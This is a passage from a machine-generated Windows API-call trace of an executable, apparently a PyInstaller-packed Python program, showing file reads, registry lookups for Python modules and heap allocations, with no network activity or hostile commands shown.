(hObject=0x2d8) returned 1 [0075.150] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba3e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.151] GetFileType (hFile=0x2d8) returned 0x1 [0075.153] GetFileType (hFile=0x2d8) returned 0x1 [0075.153] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba464 | out: lpFileInformation=0x9ba464) returned 1 [0075.153] FileTimeToLocalFileTime (in: lpFileTime=0x9ba478, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.153] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.153] FileTimeToLocalFileTime (in: lpFileTime=0x9ba470, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.153] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.153] FileTimeToLocalFileTime (in: lpFileTime=0x9ba468, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.153] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.153] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8050385, lpDistanceToMoveHigh=0x9ba518*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba518*=0) returned 0x7ad6d1 [0075.153] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8055168, lpDistanceToMoveHigh=0x9ba8b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba8b0*=0) returned 0x7ae980 [0075.153] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba864, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9ba864*=0x1000, lpOverlapped=0x0) returned 1 [0075.153] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b953c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b953c*=0) returned 0x7af980 [0075.153] CloseHandle (hObject=0x2d8) returned 1 [0075.154] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9870, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.154] GetFileType (hFile=0x2d8) returned 0x1 [0075.154] GetFileType (hFile=0x2d8) returned 0x1 [0075.154] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b98ec | out: lpFileInformation=0x9b98ec) returned 1 [0075.154] FileTimeToLocalFileTime (in: lpFileTime=0x9b9900, lpLocalFileTime=0x9b9930 | out: lpLocalFileTime=0x9b9930) returned 1 [0075.154] FileTimeToSystemTime (in: lpFileTime=0x9b9930, lpSystemTime=0x9b9920 | out: lpSystemTime=0x9b9920) returned 1 [0075.154] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9930 | out: lpLocalFileTime=0x9b9930) returned 1 [0075.154] FileTimeToSystemTime (in: lpFileTime=0x9b9930, lpSystemTime=0x9b9920 | out: lpSystemTime=0x9b9920) returned 1 [0075.154] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9930 | out: lpLocalFileTime=0x9b9930) returned 1 [0075.154] FileTimeToSystemTime (in: lpFileTime=0x9b9930, lpSystemTime=0x9b9920 | out: lpSystemTime=0x9b9920) returned 1 [0075.154] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8057478, lpDistanceToMoveHigh=0x9b99a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b99a0*=0) returned 0x7af286 [0075.154] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8068581, lpDistanceToMoveHigh=0x9b9d38*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d38*=0) returned 0x7b1de5 [0075.155] ReadFile (in: hFile=0x2d8, lpBuffer=0x31d87bc, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x9b9d00, lpOverlapped=0x0 | out: lpBuffer=0x31d87bc*, lpNumberOfBytesRead=0x9b9d00*=0x11000, lpOverlapped=0x0) returned 1 [0075.156] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc14c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9cec, lpOverlapped=0x0 | out: lpBuffer=0x2cc14c0*, lpNumberOfBytesRead=0x9b9cec*=0x1000, lpOverlapped=0x0) returned 1 [0075.156] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89c4*=0) returned 0x7c3de5 [0075.156] CloseHandle (hObject=0x2d8) returned 1 [0075.166] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.166] GetFileType (hFile=0x2d8) returned 0x1 [0075.166] GetFileType (hFile=0x2d8) returned 0x1 [0075.166] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.166] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.166] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.166] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.213] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.214] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.214] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.214] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8138836, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x7c3054 [0075.214] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8846754, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x86fda2 [0075.214] ReadFile (in: hFile=0x2d8, lpBuffer=0x31dec2c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96b0, lpOverlapped=0x0 | out: lpBuffer=0x31dec2c*, lpNumberOfBytesRead=0x9b96b0*=0x1000, lpOverlapped=0x0) returned 1 [0075.214] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.214] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x871da2 [0075.214] CloseHandle (hObject=0x2d8) returned 1 [0075.215] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.215] GetFileType (hFile=0x2d8) returned 0x1 [0075.215] GetFileType (hFile=0x2d8) returned 0x1 [0075.215] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.215] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.215] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.215] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.216] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.216] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.216] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.216] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8851602, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x871092 [0075.216] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7052470, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x6b9cb6 [0075.216] ReadFile (in: hFile=0x2d8, lpBuffer=0x31dec2c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96b0, lpOverlapped=0x0 | out: lpBuffer=0x31dec2c*, lpNumberOfBytesRead=0x9b96b0*=0x1000, lpOverlapped=0x0) returned 1 [0075.217] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.217] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x6bbcb6 [0075.217] CloseHandle (hObject=0x2d8) returned 1 [0075.218] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\org", lpData=0x2a1a488, lpcbData=0x9b94f4 | out: lpData="", lpcbData=0x9b94f4) returned 0x2 [0075.218] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\org", lpData=0x2a1a488, lpcbData=0x9b94f4 | out: lpData="", lpcbData=0x9b94f4) returned 0x2 [0075.218] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\org" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\org")) returned 0xffffffff [0075.218] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\org.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\org.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b93d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.218] GetLastError () returned 0x2 [0075.218] GetLastError () returned 0x2 [0075.218] GetLastError () returned 0x2 [0075.218] GetLastError () returned 0x2 [0075.218] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\org.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\org.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b93d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.218] GetLastError () returned 0x2 [0075.218] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\org.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\org.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b93d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\org.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\org.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b93d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] GetLastError () returned 0x2 [0075.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.219] GetCurrentThreadId () returned 0x9b0 [0075.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c97098 [0075.219] GetCurrentThreadId () returned 0x9b0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182190 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3033580 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3181240 | out: hHeap=0x2ad0000) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302e110 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3182190 | out: hHeap=0x2ad0000) returned 1 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182190 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31da168 | out: hHeap=0x2ad0000) returned 1 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] GetCurrentThreadId () returned 0x9b0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.221] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.221] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.222] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] GetCurrentThreadId () returned 0x9b0 [0075.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.223] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] GetCurrentThreadId () returned 0x9b0 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.224] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] GetCurrentThreadId () returned 0x9b0 [0075.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.224] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetCurrentThreadId () returned 0x9b0 [0075.225] GetLastError () returned 0x2 [0075.225] GetLastError () returned 0x2 [0075.225] GetLastError () returned 0x2 [0075.225] GetLastError () returned 0x2 [0075.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab48e8 [0075.226] GetLastError () returned 0x2 [0075.226] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.226] GetFileType (hFile=0x2d8) returned 0x1 [0075.226] GetLastError () returned 0x0 [0075.226] GetCurrentThreadId () returned 0x9b0 [0075.226] GetLastError () returned 0x0 [0075.226] GetFileType (hFile=0x2d8) returned 0x1 [0075.226] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.226] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.226] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.226] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.226] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.226] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.226] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.226] GetLastError () returned 0x0 [0075.226] GetCurrentThreadId () returned 0x9b0 [0075.226] GetLastError () returned 0x0 [0075.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0075.227] GetLastError () returned 0x0 [0075.227] SetFilePointer (in: hFile=0x2d8, 